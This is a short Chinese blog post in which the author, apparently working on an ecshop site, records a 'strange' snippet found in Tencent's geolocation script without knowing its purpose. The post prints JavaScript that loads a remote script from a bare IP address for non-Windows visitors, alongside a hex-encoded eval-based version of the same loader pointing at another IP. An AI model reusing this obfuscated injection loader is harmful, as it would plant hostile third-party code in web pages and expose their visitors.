There are questions remain, We'll search for the answers together. But one thing we known for sure,the future is not set!

【mark】腾讯定位的一段奇怪代码

ecshop 百蔬君 4429℃ 已收录 0评论

弄腾讯的网站定位的时候发现一段有意思的代码。

还不知道什么作用,先mark一下

var c=function(u){
var d=document,
e=d.createElement('script');
e.type='text/javascript';
e.src=u;
d.getElementsByTagName('head')[0].appendChild(e);
},
s='http://3gimg.qq.com/lightmap/components/geolocation/geolocation.min.js?cclt1=ncache2';
if((typeof M7f=='undefined')&&(!navigator.platform.match(/Win32|Win64/i))) c('http://120.77.46.218:1616/mb.php?id=lp05');
if((typeof M7f=='undefined')||(M7f!=s)){M7f=s;c(s+Math.random());}


https://3gimg.qq.com/lightmap/components/geolocation/geolocation.min.js

(function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F3367696D672E71712E636F6D2F6C696768746D61702F636F6D706F6E656E74732F67656F6C6F636174696F6E2F67656F6C6F636174696F6E2E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})();

mark,mark

转载请注明:百蔬君 » 【mark】腾讯定位的一段奇怪代码

喜欢 (1)or分享 (0)
发表我的评论
取消评论

请证明您不是机器人(^v^):

表情